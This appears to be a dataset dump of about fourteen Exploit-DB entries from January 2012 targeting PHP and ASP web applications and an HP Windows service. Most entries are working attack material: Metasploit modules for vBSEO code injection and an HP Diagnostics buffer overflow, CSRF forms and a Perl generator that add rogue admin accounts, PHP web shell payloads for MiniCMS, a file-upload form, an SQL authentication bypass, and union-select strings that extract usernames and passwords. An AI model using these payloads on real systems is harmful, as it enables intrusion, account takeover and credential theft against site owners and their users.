QLWD/code_shield huggingface dataset:
标题: vBSEO 3.6.0 - 'proc_deutf()' Remote PHP Code Injection (Metasploit) EDB-ID: 18424 CVE: 2012-5223 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-27 漏洞利用脚本: require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'vBSEO <= 3.6.0 "proc_deutf()" Remote PHP Code Injection',
   'Description'    => %q{
     This module exploits a vulnerability in the 'proc_deutf()' function
    defined in /includes/functions_vbseocp_abstract.php. User input passed through
    'char_repl' POST parameter isn't properly sanitized before being used in a call
    to preg_replace() function which uses the 'e' modifier. This can be exploited to
    inject and execute arbitrary code leveraging the PHP's complex curly syntax.
   },
   'Author'         => 'EgiX <n0b0d13s[at]gmail.com>', # originally reported by the vendor
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision$',
   'References'     =>
    [
     ['BID', '51647'],
     ['URL', 'http://www.vbseo.com/f5/vbseo-security-bulletin-all-supported-versions-patch-release-52783/'],
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'DisableNops' => true,
     'Space'       => 8190,
     'Keys'        => ['php'],
    },
   'Platform'       => ['php'],
   'Arch'           => ARCH_PHP,
   'Targets'        => [[ 'Automatic', { }]],
   'DisclosureDate' => 'Jan 23 2012',
   'DefaultTarget'  => 0))

   register_options(
    [
     OptString.new('URI', [true, "The full URI path to vBulletin", "/vb/"]),
    ], self.class)
 end

 def check
  flag = rand_text_alpha(rand(10)+10)
  data = "char_repl='{${print(#{flag})}}'=>"

  uri = ''
  uri << datastore['URI']
  uri << '/' if uri[-1,1] != '/'
  uri << 'vbseocp.php'

  response = send_request_cgi({
   'method' => "POST",
   'uri' => uri,
   'data' => "#{data}"
  })

  if response.code == 200 and response.body =~ /#{flag}/
   return Exploit::CheckCode::Vulnerable
  end

  return Exploit::CheckCode::Safe
 end

 def exploit
  if datastore['CMD']
   p = "passthru(\"%s\");" % datastore['CMD']
   p = Rex::Text.encode_base64(p)
  else
   p = Rex::Text.encode_base64(payload.encoded)
  end

  data = "char_repl='{${eval(base64_decode($_SERVER[HTTP_CODE]))}}.{${die()}}'=>"

  uri = ''
  uri << datastore['URI']
  uri << '/' if uri[-1,1] != '/'
  uri << 'vbseocp.php'

  response = send_request_cgi({
   'method' => 'POST',
   'uri' => uri,
   'data' => data,
   'headers' => { 'Code' => p }
  })

  print_status("%s" % response.body) if datastore['CMD']
 end

end URL: https://www.exploit-db.com/exploits/18424
标题: phux Download Manager - Blind SQL Injection EDB-ID: 18432 CVE: 2012-0980 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-30 漏洞利用脚本: # 
# Title     : phux Download Manager Blind SQL Injection Vulnerability
# Author    : Red Security TEAM
# Date      : 30/01/2012
# Risk      : High
# Demo      : http://demos.phux.org/download_manager/
# Tested On : CentOS
# Contact   : Info [ 4t ] RedSecurity [ d0t ] COM
# Home      : http://RedSecurity.COM
#
# Exploit   :
# http://server/download.php?file=[BlindSQLi]
# URL: https://www.exploit-db.com/exploits/18432
标题: Peel Shopping 2.8/ 2.9 - Cross-Site Scripting / SQL Injections EDB-ID: 18422 CVE: 2012-5227 2012-5226 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-26 漏洞利用脚本: +-------------------------------------------------------------------------+
# Exploit Title : Peel SHOPPING - version 2.8 and version 2.9 xss/sql inject Vulnerability
# version       : v2.9                                                                                                                          
# Author        : Cyber-Crystal                                             
# Date          : n/a  
# Software Link : http://www.peel.fr/ || or http://www.easy-script.com/scripts-PHP/peel-v29-4308.html                                                                                
+-------------------------------------------------------------------------+


[+] Exploits

http://localhost/peel/index.php/achat/recherche.php?motclef=[Xss Here ]&action=Rechercher

http://localhost/peel/administrer/tva.php?mode=modif&id=[SQL]

http://localhost/peel/index.php/[XSS]





# The End // URL: https://www.exploit-db.com/exploits/18422
标题: VR GPub 4.0 - Cross-Site Request Forgery EDB-ID: 18418 CVE: 2012-5005 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-26 漏洞利用脚本: +-------------------------------------------------------------------------+
# Exploit Title : VR GPub 4.0 CSRF Vulnerability
# version       : VR GPub 4.0                                                                                                                            
# Author        : Cyber-Crystal                                              
# Date          : n/a   
# Dork          : inurl:"VR GPub"
# Software Link : http://www.easy-script.com/scripts-PHP/vr-gpub-3907.html                                                                                   
+-------------------------------------------------------------------------+
+---+[CSRF Add Admin Acuonnt by Cyber-Crystal]+---+
<html>
<title>[#] Exploit [#]</title>
<body>
<form method="post" action="http://localhost/vrgpub/admin/admin_options.php">
<input name="ae_login" type="text" id="ae_login" size="20" maxlength="30" value="root" />
<input name="ae_mdp" type="password" id="ae_mdp" size="20" maxlength="30" value="toor" />
<input name="ae_mdp2" type="password" id="ae_mdp2" size="20" maxlength="30" value="toor" />
<p align="center">
<input type="submit" name="Submit4" value="Add" />
</p>
</form>
</body>
</html>


#-----------------------------------#
|  by Cyber-Crystal        |
|              |
|  Mail : Cyb3r.Crystal@Gmail.com   |
|  Home // www.v4-team.com/cc  |
|                   |
#-----------------------------------#
Greetz 2 : Secure-x41 | Fox Hacker | Or4nG.M4n | SadHacker | Mr.Black | Red Virus | aBu.HaLiL501 | T7 | Sniper_IRaq || # All Man 0_0



# the End URL: https://www.exploit-db.com/exploits/18418
标题: phpList 2.10.9 - Cross-Site Request Forgery / Cross-Site Scripting EDB-ID: 18419 CVE: 2012-5228 2012-4247 2012-4246 2011-1682 2011-0748 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-26 漏洞利用脚本: +-------------------------------------------------------------------------+
# Exploit Title : phplist - version 2.10.9 CSRF/XSS Vulnerability
# version       : 2.10.9                                                                                                                           
# Author        : Cyber-Crystal                                              
# Date          : n/a   
# Dork          : inurl:"powered by phplist - version 2.10.9"
# Software Link : http://www.phplist.com/                                                                                  
+-------------------------------------------------------------------------+

+---+[CSRF Add Admin Acuonnt by Cyber-Crystal]+---+
<html>
<title>[#] Exploit [#]</title>
<body>
<form method="POST" name="form2" action="http://localhost/lists/admin/?page=admin&start=">
<input type="hidden" name="id" value="0"/>
<input type="hidden" name="loginname" value="root"/>
<input type="hidden" name="email" value="ss@ss.com"/>
<input type="hidden" name="password" value="toor"/>
<input type="hidden" name="superuser" value="1"/>
<input type="hidden" name="disabled" value=""/>
<input type="hidden" name="cbattribute[]" value="1"/>
<input type="hidden" name="attribute[1]" value="Checked"/>
<input type="hidden" name="change" value="Save Changes"/>

<input type="submit" value="exploit" />
</form>
</body>
</html>

+---+[XSS Send post ]+---+
<html>
<title>[#] Exploit [#]</title>
<body>
<form method=post action="http://localhost/lists/admin/?page=send&id=1&tab=Format" name="sendmessageform">
<input type=hidden name="workaround_fck_bug" value="1">
<input type=hidden name="htmlformatted" value="auto">
<input type=submit name=sendtest value="Exploit">
<input type=text name="testtarget" size=40 value='[XSS HERE]'>
<input type=hidden name=id value=7>
<input type=hidden name=status value="draft">
<input type=hidden name=expand value="0">
</form>
</body>
</html>

#-----------------------------------#
|  by Cyber-Crystal        |
|              |
|  Mail : Cyb3r.Crystal@Gmail.com   |
|  Home // www.v4-team.com/cc  |
|                   |
#-----------------------------------#
Greetz 2 : Secure-x41 | Fox Hacker | Or4nG.M4n | SadHacker | Mr.Black | Red Virus | aBu.HaLiL501 | T7 | Sniper_IRaq || # All Man 0_0



# the End URL: https://www.exploit-db.com/exploits/18419
标题: HP Diagnostics Server - 'magentservice.exe' Remote Overflow (Metasploit) EDB-ID: 18423 CVE: 2011-4789 类型: REMOTE 平台: WINDOWS 发布日期: 2012-01-27 漏洞利用脚本: require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'HP Diagnostics Server magentservice.exe overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in HP Diagnostics Server
    magentservice.exe service. By sending a specially crafted packet, an attacker
    may be able to execute arbitrary code. Originally found and posted by
    AbdulAziz Harir via ZDI.
   },
   'Author'         =>
    [
     'AbdulAziz Hariri', # Original discovery
     'hal',              # Metasploit module
    ],
   'License'        => MSF_LICENSE,
   'References'     =>
    [
     ['OSVDB', '72815'],
     ['CVE', '2011-4789'],
     ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-016/']
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'seh',
     'SSL' => true,
     'SSLVersion' => 'SSL3'
    },
   'Payload'        =>
    {
     'Space'    => 1000,
     'BadChars' => "\x00",
     'StackAdjustment' => -3500
    },
   'Platform'       => 'win',
   'DefaultTarget'  => 0,
   'Targets'        =>
    [
     [
      'Diagnostics Server 9.10',
      {
       # pop esi # pop ebx # ret 10
       # magentservice.exe
       'Ret' => 0x780c8f1f
      }
     ]
    ],
   'DisclosureDate' => 'Jan 12 2012'))

   register_options([Opt::RPORT(23472)], self.class)
 end

 def exploit

  req =  "\x00\x00\x00\x00"
  req << rand_text_alpha_upper(1092)
  req << generate_seh_payload(target.ret)

  connect
  sock.put(req)

  handler
  disconnect

 end
end URL: https://www.exploit-db.com/exploits/18423
标题: PHP iReport 1.0 - Remote Html Code Injection EDB-ID: 18402 CVE: 2012-5315 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-21 漏洞利用脚本: #!/usr/bin/perl
########################################################################
# Title    = phpireport v1.0 => Remote Html Code injection
# Author   = Or4nG.M4n
# Download = http://garr.dl.sourceforge.net/project/phpireport/phpireport%20v1.0%20alpha%20revision%2025.rar
# Thnks :
# +----------------------------------+
# |   xSs m4n   i-Hmx   h311 c0d3    |
# |   Dr.Bnned ahwak2000 sa^Dev!L    |
# +----------------------------------+
#
#                                  Html injection 
# vuln : messages_viewer.php
# vuln : home.php
# vuln : history.php
# code :
# 
# echo "
#  <li>
#   <div class='post-details'><div style='float:left'>user: ".stripslashes($name)."</div> <div style='float:right'>".$time."</div></div>
#   <br>
#   <div class='post-details'>".stripslashes($message)."</div>
#  </li>
# ";
# How i can Fixed ..
# in all vuln file 
# Replace : stripslashes => Replace with => htmlspecialchars
# Thnks to All Stupid Coders 
#
use LWP::UserAgent;

print "Code to inject #";
my $inj = <STDIN>;
chomp $inj;
my $url = 'http://localhost/phpireport/index.php';

my $ua       = LWP::UserAgent->new();
my $response = $ua->post( $url, { 'message' => $inj } ); # Post <textarea rows='2' name='message' id='name'>&lt;/textarea&gt;
my $content  = $response->decoded_content();
print "\n done \n";

# The End URL: https://www.exploit-db.com/exploits/18402
标题: iSupport 1.x - Cross-Site Request Forgery / HTML Code Injection (Add Admin) EDB-ID: 18404 CVE: 2012-5326 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-21 漏洞利用脚本: #!/usr/bin/perl
########################################################################
# Title    : iSupport v1.x => Html Code injection to add admin
# Author   : Or4nG.M4n
# Version  : 1.x
# Homepage : http://www.idevspot.com/iSupport.php
# Google Dork: "Powered by [ iSupport 1.8 ]"
# Homepage : http://www.idevspot.com/
# Thnks :
# +----------------------------------+
# |   xSs m4n   i-Hmx   h311 c0d3    |
# |   Dr.Bnned ahwak2000 sa^Dev!L    |
# +----------------------------------+
#                       html injection to add Admin
# vuln : pending_testimonials.php
#
#      <tr bgcolor="#F9F9F9"> 
# <td width="100%"> <b> 
#  <?php echo $title;?>
#  </b> <i>posted by</i> <b> 
#  <?php echo $name;?>
#  </b> [ <a href="<?php echo $website; ?>" target="_blank"><b>Website</b></a> ] <br>
#  <i> 
#  <?php echo $body; ?>
#  </i></td>
# <td> 
# How i can Fixed ..
# in all vuln file 
# Replace : echo $website; echo $title; echo $body; => Replace with => echo htmlspecialchars($website); like this ..
# Thnks to All Stupid Coders  

system("cls");
print 
"
+----------------------------------------+\n
| iSupport 1.x inject html to Add Admin  |\n
|  Or4nG.M4n  sA^Dev!L  xSs m4n  i-Hmx   |\n
+----------------------------------------+\n
Loading ...\n
";
sleep(3);
print "tragt & path #";
$h = <STDIN>;
chomp $h;
print "User #";
$user = <STDIN>;
chomp $user;
print "Mail #";
$mail = <STDIN>;
chomp $mail;
print "Pass #";
$pass = <STDIN>;
chomp $pass;
$html = '<form name="xss" method="post" action= "'.$h.'/admin/function.php?which=ADMINISTRATORS&return=administrators&id=&t1=NAME&t2=EMAIL&t3=PASSWORD">
<input type="text" name="1" value="'.$user.'" size="30">
<input type="text" name="2" value="'.$mail.'" size="30">
<input type="text" name="3" value="'.$pass.'" size="30">
<script>document.xss.submit();</script>
</form>';
sleep(2);
print "Createing ...\n";
open(XSS , '>>csrf.htm');
print XSS $html;
close(XSS);
print "Createing Done .. \n";
sleep(2);
print "Plz UPLOAD csrf.htm to your Site and Put's Url h3r3 #";
$csrf = <STDIN>;
chomp $csrf;
$done = '<iframe id="iframe" src="'.$csrf.'" width="777" height="678"></iframe>';
sleep(2);
print "NOW INJECT This Code \n";
print $done."\n";
print "";
print "\n Enjoy .. ";

# The End URL: https://www.exploit-db.com/exploits/18404
标题: MiniCMS 1.0/2.0 - PHP Code Injection EDB-ID: 18410 CVE: 2012-5231 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-22 漏洞利用脚本: ########################################################################
# Title    : miniCMS v1.0 : v2.0 php inject code
# Author   : Or4nG.M4n
# Version  : all version 
# GDork    : "This site is managed using MiniCMS©"
# Download : http://sourceforge.net/projects/mini-cms/files/mini-cms/
# Thnks :
# +----------------------------------+
# |   xSs m4n   i-Hmx   h311 c0d3    | sp. Cyb3r-Crystal
# |   SarBoT511 ahwak2000 sa^Dev!L   | sp. ahwak2000
# +----------------------------------+
#                       php code injection and bypass addslashes();
# vuln : update.php shell path /content
# vuln : updatenews.php shell path /content/news

$filename = "content/".$pagename.".txt"; <= .php%00
 
  if ($file = fopen($filename, "w"))
  {
   //chmod($filename, 0777);
   if($pagename == "sitemap"){
    $eachline = split("\n", $postTemp["content"]);
    $cleancontent = "";
    foreach($eachline as $el){
     if(trim($el) != ""){
      $cleancontent .= trim($el) . "\n";
     }
    }
    $postTemp["content"] = $cleancontent;
   }
   //$postTemp["content"] = str_replace('"', '\"', $postTemp["content"]);
   if (!get_magic_quotes_gpc()) {
      $postTemp["content"] = addslashes($postTemp["content"]);
   } 
   fwrite($file, serialize($postTemp));
   fclose($file);
  }
  else
  {
   echo "Unable to open file for writing, please check permissions on content directory";
  }
 }
 else
 {
  $filename = "content/".$area.".txt"; < = .php%00
  if ($file = fopen($filename, "w"))
  {
   chmod($filename, 0777);
   //$postTemp["content"] = str_replace('"', '\"', $postTemp["content"]);
   fwrite($file, $postTemp["content"]);
   fclose($file);
  }
 How i can Use this Exploit
 in your Browser FireFox 
 use add on LIVE HTTP HEADER
 
 in target page [ http://localhost/miniCMS-2.0/index.php?page=1 ] ..
 Replay to : 
 POST : http://www.cmtsystem.com/mCMS/update.php
 Host: localhost
 User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 Accept-Language: en-us,en;q=0.5
 Accept-Encoding: gzip, deflate
 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
 Connection: keep-alive
 Referer: http://localhost/miniCMS-2.0/index.php?page=1
 Cookie: miniCMSdemo=32b5075aba3eb6c5d11129ec114346c2
 Content-Type: application/x-www-form-urlencoded
 Content-Length: 47
 Post this shit : title=1&metadata=1&content=[CODE]&page=thnks-ahwak2000-cyber-crystal.php%00&area=content
 Add Your code php here : [CODE]
 Now how i can bypass addslashes(); inject <?php passthru($_GET[cmd]);?> or <?php eval($_GET[cmd]);?> 
 Don't Forget Referer : http://site/index.php?page=1
 [ ! ] http://site/content/thnks-ahwak2000-cyber-crystal.php?cmd=uname-a
 # Thnks to all Stupid Coder
 # The End URL: https://www.exploit-db.com/exploits/18410
标题: ARYADAD - Multiple Vulnerabilities EDB-ID: 18405 CVE: 2012-0935 类型: WEBAPPS 平台: ASP 发布日期: 2012-01-21 漏洞利用脚本: # 
# Title     : ARYADAD Multi Vulnerability
# Author    : Red Security TEAM
# Date      : 21/01/2012
# Vendor    : http://cms.aryadad.com/
# Tested On : Windows Server 2008 (IIS 7.5)
# Dork      : Powered by ARYADAD Corporation
# Contact   : Info [ 4t ] RedSecurity [ d0t ] COM
# Home      : http://RedSecurity.COM
#
# Exploit   :
# 
# I         : Blind SQL Injection Vulnerability
# True      : http://server/Default.aspx?PageID=117' and 1-1 = '0
# False     : http://server/Default.aspx?PageID=117' and 2-1 = '0
#
# II        : File Upload Vulnerability
# 1. Go to  : /FA/fckeditor/editor/filemanager/connectors/test.html
# 2. Set Connector To ASP.Net and upload your file , You can see your uploaded files in FA/userfiles/file/
# URL: https://www.exploit-db.com/exploits/18405
标题: ICTimeAttendance - Authentication Bypass EDB-ID: 18394 CVE: 2012-0913 类型: WEBAPPS 平台: ASP 发布日期: 2012-01-20 漏洞利用脚本: )   )            )                     (   (         (   (    (       )     ) 
  ( /(( /( (       ( /(  (       (    (     )\ ))\ )      )\ ))\ ) )\ ) ( /(  ( /( 
  )\())\()))\ )    )\()) )\      )\   )\   (()/(()/(  (  (()/(()/((()/( )\()) )\())
 ((_)((_)\(()/(   ((_)((((_)(  (((_)(((_)(  /(_))(_)) )\  /(_))(_))/(_))(_)\|((_)\ 
__ ((_)((_)/(_))___ ((_)\ _ )\ )\___)\ _ )\(_))(_))_ ((_)(_))(_)) (_))  _((_)_ ((_)
\ \ / / _ (_)) __\ \ / (_)_\(_)(/ __(_)_\(_) _ \|   \| __| _ \ |  |_ _|| \| | |/ / 
 \ V / (_) || (_ |\ V / / _ \  | (__ / _ \ |   /| |) | _||   / |__ | | | .` | ' <  
  |_| \___/  \___| |_| /_/ \_\  \___/_/ \_\|_|_\|___/|___|_|_\____|___||_|\_|_|\_\
          .WEB.ID
-----------------------------------------------------------------------
          ICTimeAttendance Authentication Bypass Vulnerability
-----------------------------------------------------------------------
Author   : v3n0m
Site     : http://yogyacarderlink.web.id/
Date  : January, 19-2012
Location : Jakarta, Indonesia
Time Zone : GMT +7:00

Application : ICTimeAttendance - Time attendance script
Price  : $57.09
Vendor   : http://www.icloudcenter.com/

Exploit & p0c
_____________

go to
 http://domain.tld/[path]/index.html

then login with
 Username : admin
 Password : 1'or'1'='1

ShoutZ
______

All YOGYACARDERLINK CREW URL: https://www.exploit-db.com/exploits/18394
标题: WordPress Plugin AllWebMenus < 1.1.9 Menu Plugin - Arbitrary File Upload EDB-ID: 18407 CVE: 2012-1011 2012-1010 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-22 漏洞利用脚本: #Exploit Title: AllWebMenus WordPress Menu Plugin Arbitrary file upload
#Version:  < 1.1.9
#Date: 2012-01-19
#Author: 6Scan (http://6scan.com) security team
#Software Link: http://wordpress.org/extend/plugins/allwebmenus-wordpress-menu-plugin/
#Official fix: This advisory is released after the vendor was contacted and fixed the issue promptly.
#Description:  Unauthorized users could upload arbitrary files to the vulnerable server, potentially executing commands

AllWebMenus WordPress Menu Plugin
<1.1.8  Remote File upload

On versions < 1.1.8 , lack of checks in script actions.php allowed malicious user to upload any file to the vulnerable server.
Create a file (For example, Wordpress_security.php , with this content <?php echo '6Scan to the rescue';  ?> )
Compress it with zip to awm.zip

Use this form to upload the php file to the server

<form action="http://server/wp-content/plugins/allwebmenus-wordpress-menu-plugin/actions.php" method=post enctype="multipart/form-data">
<input type="file" name="awm1" size=100>
<input type="hidden" name="AWM_menu_id" value="2134234">
<input type="hidden" name="theaction" value="zip_update">
<input type=submit>
</form>


Version 1.1.8 also checks the source referrer, so you have to use scripting language (or spoof it in another way) to set the HTTP_REFERER to 
"wp-admin/options-general.php?page=allwebmenus-wordpress-menu-plugin/allwebmenus-wordpress-menu.php" URL: https://www.exploit-db.com/exploits/18407
标题: PHPBridges Blog System - 'members.php' SQL Injection EDB-ID: 18384 CVE: 2012-6525 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-18 漏洞利用脚本: # Exploit Title: PhpBridges Blog System SQL Injection Vulnerability
# Date: 18/01/2012 - 04.19
# Author: 3spi0n
# Software Website: https://launchpad.net/phpbridges
# Tested On: BackTrack 5 - Win7 Ultimate
# Platform: Php
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
[$] Vulnerable File:

[~] members.php

[$] Demo Sites:

[~] server/members.php?id=2" [SQL Injection]
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

# Dar bi Koridor Benimki, Kendimi Aradigim.

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

# Contact: Twitter.Com/RigidusCO - Facebook.Com/3spi0ne

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

- Mr.PaPaRoSSe And 3spi0n -

Bug Researcher Group - TURKEY

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> URL: https://www.exploit-db.com/exploits/18384
标题: DZCP (deV!L`z Clanportal) Gamebase Addon - SQL Injection EDB-ID: 18385 CVE: 2012-0905 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-18 漏洞利用脚本: ========================================================================================                 
| # Title    : deV!L`z Clanportal Gamebase Addon SQL Injection Vulnerability         
| # Author   Easy Laster                                                                                                                                                                                                                                                                                                          
| # Download : http://www.modsbar.de/Addons/464/gamebase-addon/
| # Script   : deV!L`z Clanportal Gamebase Addon       
| # Price    : 20
| # Bug      : SQL Injection   
| # Date     : 05.01.2012
| # Language : PHP
| # Status   : vulnerable/Non-Public
| # Greetings: secunet.to ,4004-security-project, Team-Internet, HANN!BAL, RBK, Dr.Ogen, ezah                                                               
======================        Proof of Concept         =================================
[+] Vulnerability

    gamebase/?action=detail&gameid=

[+] Injectable

    http://[host]/[path]/gamebase/?action=detail&gameid=1+union+select+1,2,3,4,5,nick,
    pwd,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+dzcp_users+where+id=1--+ URL: https://www.exploit-db.com/exploits/18385